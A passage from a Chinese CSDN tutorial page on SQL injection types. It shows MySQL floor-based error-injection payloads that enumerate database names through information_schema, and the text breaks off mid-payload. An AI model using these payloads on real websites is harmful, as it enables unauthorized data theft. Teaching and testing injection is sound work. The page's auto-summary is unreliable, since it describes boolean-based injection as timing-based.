sql注入-error、boolean、time-based and 宽字节

本文详细介绍了SQL注入的三种主要类型:Error-based、Boolean-based和Time-based Blind SQL注入,包括利用前提、示例和各自的优缺点。Error-based注入依赖于错误信息的输出,Boolean-based注入则通过页面响应时间变化来探测,而Time-based注入则通过延时操作进行判断。此外,还提到了宽字节注入问题和如何防止。
摘要由CSDN通过智能技术生成

1、Error-based SQL injection

利用前提:

页面上没有显示位,但是需要输出SQL语句执行错误信息。比如mysqli_error()

优点:
不需要显示位
缺点:
需要输出mysqli_error( )的报错信息

  • 通过floor报错

    select 列1(count()) , 列2(concat()随机数) as x from 表 group by x;
    select count(
    ),concat(database(),floor(rand(0)*2)) as x from users group by x
    select * from users where id = 1 and (select 345 from (表) as b )

  • 获取有多少个数据库

    and (select 1 from(select count(*),concat((select (select (select
    concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from
    information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables
    group by x)a)

  • 通过limit 获取所有数据库名

    and (select 1 from(select count(*),concat((select (select (select concat(0x7e,
    schema_name, 0x7e) from informat

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值